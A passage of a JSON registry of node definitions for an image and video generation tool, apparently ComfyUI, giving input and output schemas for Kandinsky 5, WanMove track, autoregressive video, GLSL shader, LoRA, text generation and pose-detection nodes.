"api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Kandinsky5ImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 768, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "LATENT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "cond_latent"], "output_tooltips": [null, null, "Empty video latent", "Clean encoded start images, used to replace the noisy start of the model output latents"], "output_matchtypes": null, "name": "Kandinsky5ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning/kandinsky", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "NormalizeVideoLatentStart": {"input": {"required": {"latent": ["LATENT", {}], "start_frame_count": ["INT", {"tooltip": "Number of latent frames to normalize, counted from the start", "default": 4, "min": 1, "max": 16384, "step": 1}], "reference_frame_count": ["INT", {"tooltip": "Number of latent frames after the start frames to use as reference", "default": 5, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["latent", "start_frame_count", "reference_frame_count"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "NormalizeVideoLatentStart", "display_name": null, "description": "Normalizes the initial frames of a video latent to match the mean and standard deviation of subsequent reference frames. Helps reduce differences between the starting frames and the rest of the video.", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeKandinsky5": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "qwen25_7b": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "clip_l", "qwen25_7b"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeKandinsky5", "display_name": "CLIP Text Encode (Kandinsky 5)", "description": "", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning/kandinsky", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["kandinsky prompt"], "essentials_category": null, "has_intermediate_output": false}, "WanMoveTrackToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "strength": ["FLOAT", {"tooltip": "Strength of the track conditioning.", "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "start_image": ["IMAGE", {}]}, "optional": {"tracks": ["TRACKS", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "strength", "width", "height", "length", "batch_size", "start_image"], "optional": ["tracks", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanMoveTrackToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveTracksFromCoords": {"input": {"required": {}, "optional": {"track_coords": ["STRING", {"default": "[]", "forceInput": true, "multiline": false}], "track_mask": ["MASK", {}]}}, "input_order": {"required": [], "optional": ["track_coords", "track_mask"]}, "is_input_list": false, "output": ["TRACKS", "INT"], "output_is_list": [false, false], "output_name": ["TRACKS", "track_length"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "WanMoveTracksFromCoords", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveConcatTrack": {"input": {"required": {"tracks_1": ["TRACKS", {}]}, "optional": {"tracks_2": ["TRACKS", {}]}}, "input_order": {"required": ["tracks_1"], "optional": ["tracks_2"]}, "is_input_list": false, "output": ["TRACKS"], "output_is_list": [false], "output_name": ["TRACKS"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanMoveConcatTrack", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveVisualizeTracks": {"input": {"required": {"images": ["IMAGE", {}], "line_resolution": ["INT", {"default": 24, "min": 1, "max": 1024}], "circle_size": ["INT", {"advanced": true, "default": 12, "min": 1, "max": 128}], "opacity": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01}], "line_width": ["INT", {"advanced": true, "default": 16, "min": 1, "max": 128}]}, "optional": {"tracks": ["TRACKS", {}]}}, "input_order": {"required": ["images", "line_resolution", "circle_size", "opacity", "line_width"], "optional": ["tracks"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanMoveVisualizeTracks", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GenerateTracks": {"input": {"required": {"width": ["INT", {"default": 832, "min": 16, "max": 4096, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 4096, "step": 16}], "start_x": ["FLOAT", {"tooltip": "Normalized X coordinate (0-1) for start position.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "start_y": ["FLOAT", {"tooltip": "Normalized Y coordinate (0-1) for start position.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "end_x": ["FLOAT", {"tooltip": "Normalized X coordinate (0-1) for end position.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "end_y": ["FLOAT", {"tooltip": "Normalized Y coordinate (0-1) for end position.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "num_frames": ["INT", {"default": 81, "min": 1, "max": 1024}], "num_tracks": ["INT", {"default": 5, "min": 1, "max": 100}], "track_spread": ["FLOAT", {"tooltip": "Normalized distance between tracks. Tracks are spread perpendicular to the motion direction.", "default": 0.025, "min": 0.0, "max": 1.0, "step": 0.001}], "bezier": ["BOOLEAN", {"tooltip": "Enable Bezier curve path using the mid point as control point.", "default": false}], "mid_x": ["FLOAT", {"tooltip": "Normalized X control point for Bezier curve. Only used when 'bezier' is enabled.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "mid_y": ["FLOAT", {"tooltip": "Normalized Y control point for Bezier curve. Only used when 'bezier' is enabled.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "interpolation": ["COMBO", {"tooltip": "Controls the timing/speed of movement along the path.", "multiselect": false, "options": ["linear", "ease_in", "ease_out", "ease_in_out", "constant"]}]}, "optional": {"track_mask": ["MASK", {"tooltip": "Optional mask to indicate visible frames."}]}}, "input_order": {"required": ["width", "height", "start_x", "start_y", "end_x", "end_y", "num_frames", "num_tracks", "track_spread", "bezier", "mid_x", "mid_y", "interpolation"], "optional": ["track_mask"]}, "is_input_list": false, "output": ["TRACKS", "INT"], "output_is_list": [false, false], "output_name": ["TRACKS", "track_length"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GenerateTracks", "display_name": "Generate Video Tracks", "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["motion paths", "camera movement", "trajectory"], "essentials_category": null, "has_intermediate_output": false}, "EmptyARVideoLatent": {"input": {"required": {"width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 1024, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyARVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/latent/autoregressive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerARVideo": {"input": {"required": {"num_frame_per_block": ["INT", {"tooltip": "Frames per autoregressive block. 1 = framewise, 3 = chunkwise. Must match the checkpoint's training mode.", "default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["num_frame_per_block"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerARVideo", "display_name": "Sampler AR Video", "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ARVideoI2V": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {}], "start_image": ["IMAGE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 1024, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["model", "vae", "start_image", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["MODEL", "LATENT"], "output_is_list": [false, false], "output_name": ["MODEL", "LATENT"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ARVideoI2V", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/conditioning/autoregressive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageCompare": {"input": {"required": {"compare_view": ["IMAGECOMPARE", {"socketless": true}]}, "optional": {"image_a": ["IMAGE", {}], "image_b": ["IMAGE", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["compare_view"], "optional": ["image_a", "image_b"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "ImageCompare", "display_name": "Compare Images", "description": "Compares two images side by side with a slider.", "python_module": "comfy_extras.nodes_image_compare", "category": "image", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "TextEncodeZImageOmni": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "auto_resize_images": ["BOOLEAN", {"advanced": true, "default": true}]}, "optional": {"image_encoder": ["CLIP_VISION", {}], "vae": ["VAE", {}], "image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "image3": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt", "auto_resize_images"], "optional": ["image_encoder", "vae", "image1", "image2", "image3"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeZImageOmni", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_zimage", "category": "model/conditioning/z-image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GLSLShader": {"input": {"required": {"fragment_shader": ["STRING", {"tooltip": "GLSL fragment shader source code (GLSL ES 3.00 / WebGL 2.0 compatible)", "default": "#version 300 es\nprecision highp float;\n\nuniform sampler2D u_image0;\nuniform vec2 u_resolution;\n\nin vec2 v_texCoord;\nlayout(location = 0) out vec4 fragColor0;\n\nvoid main() {\n fragColor0 = texture(u_image0, v_texCoord);\n}\n", "multiline": true}], "size_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Output size: 'from_input' uses first input image dimensions, 'custom' allows manual size", "options": [{"key": "from_input", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"width": ["INT", {"default": 512, "min": 1, "max": 16384}], "height": ["INT", {"default": 512, "min": 1, "max": 16384}]}}}]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Images are available as u_image0-4 (sampler2D) in the shader code", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}], "floats": ["COMFY_AUTOGROW_V3", {"tooltip": "Floats are available as u_float0-19 in the shader code", "template": {"input": {"required": {"float": ["FLOAT", {"default": 0.0, "forceInput": true}]}}, "prefix": "u_float", "min": 0, "max": 20}}], "ints": ["COMFY_AUTOGROW_V3", {"tooltip": "Ints are available as u_int0-19 in the shader code", "template": {"input": {"required": {"int": ["INT", {"default": 0, "forceInput": true}]}}, "prefix": "u_int", "min": 0, "max": 20}}], "bools": ["COMFY_AUTOGROW_V3", {"tooltip": "Booleans are available as u_bool0-9 (bool) in the shader code", "template": {"input": {"required": {"bool": ["BOOLEAN", {"default": false, "forceInput": true}]}}, "prefix": "u_bool", "min": 0, "max": 10}}], "curves": ["COMFY_AUTOGROW_V3", {"tooltip": "Curves are available as u_curve0-3 (sampler2D, 1D LUT) in the shader code. Sample with texture(u_curve0, vec2(x, 0.5)).r", "template": {"input": {"required": {"curve": ["CURVE", {"default": {"points": [[0.0, 0.0], [1.0, 1.0]], "interpolation": "monotone_cubic"}, "socketless": true, "forceInput": true}]}}, "prefix": "u_curve", "min": 0, "max": 4}}]}}, "input_order": {"required": ["fragment_shader", "size_mode", "images", "floats", "ints", "bools", "curves"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false, false], "output_name": ["IMAGE0", "IMAGE1", "IMAGE2", "IMAGE3"], "output_tooltips": ["Available via layout(location = 0) out vec4 fragColor0 in the shader code", "Available via layout(location = 1) out vec4 fragColor1 in the shader code", "Available via layout(location = 2) out vec4 fragColor2 in the shader code", "Available via layout(location = 3) out vec4 fragColor3 in the shader code"], "output_matchtypes": null, "name": "GLSLShader", "display_name": "GLSL Shader", "description": "Apply GLSL ES fragment shaders to images. u_resolution (vec2) is always available.", "python_module": "comfy_extras.nodes_glsl", "category": "image/shader", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": true}, "LoraLoaderBypass": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "clip": ["CLIP", {"tooltip": "The CLIP model the LoRA will be applied to."}], "lora_name": [[], {"tooltip": "The name of the LoRA."}], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the diffusion model. This value can be negative."}], "strength_clip": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01, "tooltip": "How strongly to modify the CLIP model. This value can be negative."}]}}, "input_order": {"required": ["model", "clip", "lora_name", "strength_model", "strength_clip"]}, "is_input_list": false, "output": ["MODEL", "CLIP"], "output_is_list": [false, false], "output_name": ["MODEL", "CLIP"], "name": "LoraLoaderBypass", "display_name": "Load LoRA (Bypass) (For debugging)", "description": "Apply LoRA in bypass mode. Unlike regular LoRA, this doesn't modify model weights - instead it injects the LoRA computation during forward pass. Useful for training scenarios.", "python_module": "comfy_extras.nodes_lora_debug", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "experimental": true, "search_aliases": []}, "LoraLoaderBypassModelOnly": {"input": {"required": {"model": ["MODEL"], "lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "lora_name", "strength_model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "LoraLoaderBypassModelOnly", "display_name": "Load LoRA (Bypass, Model Only) (for debugging)", "description": "Apply LoRA in bypass mode. Unlike regular LoRA, this doesn't modify model weights - instead it injects the LoRA computation during forward pass. Useful for training scenarios.", "python_module": "comfy_extras.nodes_lora_debug", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "experimental": true, "search_aliases": []}, "TextGenerate": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"default": "", "multiline": true, "dynamicPrompts": true}], "max_length": ["INT", {"default": 512, "min": 1, "max": 32768}], "sampling_mode": ["COMFY_DYNAMICCOMBO_V3", {"display_name": "Sampling Mode", "options": [{"key": "on", "inputs": {"required": {"temperature": ["FLOAT", {"default": 0.7, "min": 0.01, "max": 2.0, "step": 1e-06}], "top_k": ["INT", {"default": 64, "min": 0, "max": 1000}], "top_p": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "min_p": ["FLOAT", {"default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}], "repetition_penalty": ["FLOAT", {"default": 1.05, "min": 0.0, "max": 5.0, "step": 0.01}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615}]}, "optional": {"presence_penalty": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}}, {"key": "off", "inputs": {"required": {}}}]}]}, "optional": {"image": ["IMAGE", {}], "video": ["IMAGE", {"tooltip": "Video frames as image batch. Assumed to be 24 FPS; subsampled to 1 FPS internally."}], "audio": ["AUDIO", {}], "thinking": ["BOOLEAN", {"tooltip": "Operate in thinking mode if the model supports it.", "default": false}], "use_default_template": ["BOOLEAN", {"tooltip": "Use the built in system prompt/template if the model has one.", "advanced": true, "default": true}]}}, "input_order": {"required": ["clip", "prompt", "max_length", "sampling_mode"], "optional": ["image", "video", "audio", "thinking", "use_default_template"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["generated_text"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextGenerate", "display_name": "Generate Text", "description": "", "python_module": "comfy_extras.nodes_textgen", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["LLM", "gemma"], "essentials_category": null, "has_intermediate_output": false}, "TextGenerateLTX2Prompt": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"default": "", "multiline": true, "dynamicPrompts": true}], "max_length": ["INT", {"default": 512, "min": 1, "max": 32768}], "sampling_mode": ["COMFY_DYNAMICCOMBO_V3", {"display_name": "Sampling Mode", "options": [{"key": "on", "inputs": {"required": {"temperature": ["FLOAT", {"default": 0.7, "min": 0.01, "max": 2.0, "step": 1e-06}], "top_k": ["INT", {"default": 64, "min": 0, "max": 1000}], "top_p": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "min_p": ["FLOAT", {"default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}], "repetition_penalty": ["FLOAT", {"default": 1.05, "min": 0.0, "max": 5.0, "step": 0.01}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615}]}, "optional": {"presence_penalty": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}}, {"key": "off", "inputs": {"required": {}}}]}]}, "optional": {"image": ["IMAGE", {}], "video": ["IMAGE", {"tooltip": "Video frames as image batch. Assumed to be 24 FPS; subsampled to 1 FPS internally."}], "audio": ["AUDIO", {}], "thinking": ["BOOLEAN", {"tooltip": "Operate in thinking mode if the model supports it.", "default": false}], "use_default_template": ["BOOLEAN", {"tooltip": "Use the built in system prompt/template if the model has one.", "advanced": true, "default": true}]}}, "input_order": {"required": ["clip", "prompt", "max_length", "sampling_mode"], "optional": ["image", "video", "audio", "thinking", "use_default_template"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["generated_text"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextGenerateLTX2Prompt", "display_name": "Generate LTX2 Prompt", "description": "", "python_module": "comfy_extras.nodes_textgen", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["prompt enhance", "LLM", "gemma"], "essentials_category": null, "has_intermediate_output": false}, "ColorToRGBInt": {"input": {"required": {"color": ["COLOR", {"default": "#ffffff", "socketless": true}]}}, "input_order": {"required": ["color"]}, "is_input_list": false, "output": ["INT", "COLOR"], "output_is_list": [false, false], "output_name": ["rgb_int", "hex"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ColorToRGBInt", "display_name": "Color Picker", "description": "Return a color RGB integer value and hexadecimal representation.", "python_module": "comfy_extras.nodes_color", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CreateList": {"input": {"required": {"inputs": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"input": ["COMFY_MATCHTYPE_V3", {"template": {"template_id": "type", "allowed_types": "*"}}]}}, "prefix": "input", "min": 1, "max": 10}}]}}, "input_order": {"required": ["inputs"]}, "is_input_list": true, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [true], "output_name": ["list"], "output_tooltips": [null], "output_matchtypes": ["type"], "name": "CreateList", "display_name": "Create List", "description": "", "python_module": "comfy_extras.nodes_toolkit", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["Image Iterator", "Text Iterator", "Iterator"], "essentials_category": null, "has_intermediate_output": false}, "NAGuidance": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to apply NAG to."}], "nag_scale": ["FLOAT", {"tooltip": "The guidance scale factor. Higher values push further from the negative prompt.", "default": 5.0, "min": 0.0, "max": 50.0, "step": 0.1}], "nag_alpha": ["FLOAT", {"tooltip": "Blending factor for the normalized attention. 1.0 is full replacement, 0.0 is no effect.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "nag_tau": ["FLOAT", {"default": 1.5, "min": 1.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "nag_scale", "nag_alpha", "nag_tau"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The patched model with NAG enabled."], "output_matchtypes": null, "name": "NAGuidance", "display_name": "Normalized Attention Guidance", "description": "Applies Normalized Attention Guidance to models, enabling negative prompts on distilled/schnell models.", "python_module": "comfy_extras.nodes_nag", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SDPoseKeypointExtractor": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "batch_size": ["INT", {"default": 16, "min": 1, "max": 10000, "step": 1}]}, "optional": {"bboxes": ["BOUNDING_BOX", {"tooltip": "Optional bounding boxes for more accurate detections. Required for multi-person detection.", "default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}]}}, "input_order": {"required": ["model", "vae", "image", "batch_size"], "optional": ["bboxes"]}, "is_input_list": false, "output": ["POSE_KEYPOINT"], "output_is_list": [false], "output_name": ["keypoints"], "output_tooltips": ["Keypoints in OpenPose frame format (canvas_width, canvas_height, people)"], "output_matchtypes": null, "name": "SDPoseKeypointExtractor", "display_name": "SDPose Keypoint Extractor", "description": "Extract pose keypoints from images using the SDPose model: https://huggingface.co/Comfy-Org/SDPose/tree/main/checkpoints", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["openpose", "pose detection", "preprocessor", "keypoints", "sdpose"], "essentials_category": null, "has_intermediate_output": false}, "SDPoseDrawKeypoints": {"input": {"required": {"keypoints": ["POSE_KEYPOINT", {}], "draw_body": ["BOOLEAN", {"default": true}], "draw_hands": ["BOOLEAN", {"default": true}], "draw_face": ["BOOLEAN", {"default": true}], "draw_feet": ["BOOLEAN", {"default": false}], "stick_width": ["INT", {"default": 4, "min": 1, "max": 10, "step": 1}], "face_point_size": ["INT", {"default": 3, "min": 1, "max": 10, "step": 1}], "score_threshold": ["FLOAT", {"default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01}], "draw_head": ["BOOLEAN", {"default": true}]}}, "input_order": {"required": ["keypoints", "draw_body", "draw_hands", "draw_face", "draw_feet", "stick_width", "face_point_size", "score_threshold", "draw_head"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SDPoseDrawKeypoints", "display_name": "SDPose Draw Keypoints", "description": "", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["openpose", "pose detection", "preprocessor", "keypoints", "pose"], "essentials_category": null, "has_intermediate_output": false}, "SDPoseFaceBBoxes": {"input": {"required": {"keypoints": ["POSE_KEYPOINT", {}], "scale": ["FLOAT", {"tooltip": "Multiplier for the bounding box area around each detected face.", "default": 1.5, "min": 1.0, "max": 10.0, "step": 0.1}], "force_square": ["BOOLEAN", {"tooltip": "Expand the shorter bbox axis so the crop region is always square.", "default": true}]}}, "input_order": {"required": ["keypoints", "scale", "force_square"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["bboxes"], "output_tooltips": ["Face bounding boxes per frame, compatible with SDPoseKeypointExtractor bboxes input."], "output_matchtypes": null, "name": "SDPoseFaceBBoxes", "display_name": "SDPose Face Bounding Boxes", "description": "", "python_module": "comfy_extras.nodes_sdpose", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face bbox", "face bounding box", "pose", "keypoints"], "essentials_category": null, "has_intermediate_output": false}, "CropByBBoxes": {"input": {"required": {"image": ["IMAGE", {}], "bboxes": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}], "output_width": ["INT", {"tooltip": "Width each crop is resized to.", "default": 512, "min": 64, "max": 4096, "step": 8}], "output_height": ["INT", {"tooltip": "Height each crop is resized to.", "default": 512, "min": 64, "max": 4096, "step": 8}], "padding": ["INT", {"tooltip": "Extra padding in pixels added on each side of the bbox before cropping.", "default": 0, "min": 0, "max": 1024, "step": 1}], "keep_aspect": ["COMBO", {"tooltip": "Whether to stretch the crop to fit the output size, or pad with black pixels to preserve aspect ratio.", "default": "stretch", "multiselect": false, "options": ["stretch", "pad"]}]}}, "input_order": {"required": ["image", "bboxes", "output_width", "output_height", "padding", "keep_aspect"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": ["All crops stacked into a single image batch."], "output_matchtypes": null, "name": "CropByBBoxes", "display_name": "Crop By Bounding Boxes", "description": "Crop and resize regions from the input image batch based on provided bounding boxes.", "python_module": "comfy_extras.nodes_sdpose", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "face crop", "bbox crop", "pose", "bounding box"], "essentials_category": null, "has_intermediate_output": false}, "ComfyMathExpression": {"input": {"required": {"expression": ["STRING", {"default": "a + b", "multiline": true}], "values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["FLOAT,INT,BOOLEAN", {}]}}, "names": ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], "min": 1}}]}}, "input_order": {"required": ["expression", "values"]}, "is_input_list": false, "output": ["FLOAT", "INT", "BOOLEAN"], "output_is_list": [false, false, false], "output_name": ["FLOAT", "INT", "BOOL"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ComfyMathExpression", "display_name": "Math Expression", "description": "", "python_module": "comfy_extras.nodes_math", "category": "utilities", "output_node": false, "deprecated": false, 